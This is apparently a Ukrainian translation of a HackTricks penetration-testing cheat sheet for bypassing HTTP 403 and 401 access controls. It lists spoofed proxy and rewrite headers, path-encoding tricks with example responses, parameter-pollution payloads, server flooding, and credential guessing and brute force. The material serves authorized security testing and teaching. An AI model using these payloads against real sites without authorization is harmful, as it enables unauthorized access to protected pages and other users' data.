403 & 401 Bypasses
Last updated
Last updated
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом. Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
Спробуйте використовувати різні дієслова для доступу до файлу: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
Перевірте заголовки відповіді, можливо, можна отримати якусь інформацію. Наприклад, 200 відповідь на HEAD з Content-Length: 55
означає, що HEAD дієслово може отримати інформацію. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
Використання HTTP заголовка, такого як X-HTTP-Method-Override: PUT
, може переписати використане дієслово.
Використовуйте TRACE
дієслово, і якщо вам дуже пощастить, можливо, у відповіді ви також зможете побачити заголовки, додані проміжними проксі, які можуть бути корисними.
Змініть заголовок Host на деяке довільне значення (це спрацювало тут)
Спробуйте використати інші User Agents для доступу до ресурсу.
Fuzz HTTP Headers: Спробуйте використовувати HTTP Proxy Headers, HTTP Authentication Basic та NTLM brute-force (тільки з кількома комбінаціями) та інші техніки. Для цього я створив інструмент fuzzhttpbypass.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Host: localhost
Якщо шлях захищений, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Якщо сторінка за проксі, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати HTTP Request Smuggling або hop-by-hop заголовками.
Fuzz спеціальні HTTP заголовки, шукаючи різні відповіді.
Fuzz спеціальні HTTP заголовки під час fuzzing HTTP Methods.
Видаліть заголовок Host і, можливо, ви зможете обійти захист.
Якщо /path заблоковано:
Спробуйте використовувати /%2e/path _(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також_** /%252e**/path (подвійне кодування URL)
Спробуйте Unicode обхід: /%ef%bc%8fpath (закодовані символи URL подібні до "/"), тому при повторному кодуванні це буде //path і, можливо, ви вже обійшли перевірку назви /path
Інші обходи шляху:
site.com/secret –> HTTP 403 Forbidden
site.com/SECRET –> HTTP 200 OK
site.com/secret/ –> HTTP 200 OK
site.com/secret/. –> HTTP 200 OK
site.com//secret// –> HTTP 200 OK
site.com/./secret/.. –> HTTP 200 OK
site.com/;/secret –> HTTP 200 OK
site.com/.;/secret –> HTTP 200 OK
site.com//;//secret –> HTTP 200 OK
site.com/secret.json –> HTTP 200 OK (ruby)
Використовуйте весь цей список у наступних ситуаціях:
/FUZZsecret
/FUZZ/secret
/secretFUZZ
Інші API обходи:
/v3/users_data/1234 --> 403 Forbidden
/v1/users_data/1234 --> 200 OK
{“id”:111} --> 401 Unauthorized
{“id”:[111]} --> 200 OK
{“id”:111} --> 401 Unauthorized
{“id”:{“id”:111}} --> 200 OK
{"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)
Змініть значення параметра: З id=123
--> id=124
Додайте додаткові параметри до URL: ?
id=124
—-> id=124&isAdmin=true
Видаліть параметри
Переставте параметри
Використовуйте спеціальні символи.
Виконайте граничне тестування в параметрах — надайте значення, такі як -234 або 0 або 99999999 (просто кілька прикладів).
Якщо використовується HTTP/1.1 спробуйте використовувати 1.0 або навіть перевірте, чи підтримує 2.0.
Отримайте IP або CNAME домену та спробуйте зв'язатися з ним безпосередньо.
Спробуйте навантажити сервер, надсилаючи звичайні GET запити (Це спрацювало для цього хлопця з Facebook).
Змініть протокол: з http на https, або з https на http
Перейдіть на https://archive.org/web/ і перевірте, чи був у минулому цей файл доступний у всьому світі.
Вгадайте пароль: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
Brute force: Спробуйте базову, дайджестну та NTLM автентифікацію.
Отримайте погляд хакера на ваші веб-додатки, мережу та хмару
Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом. Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)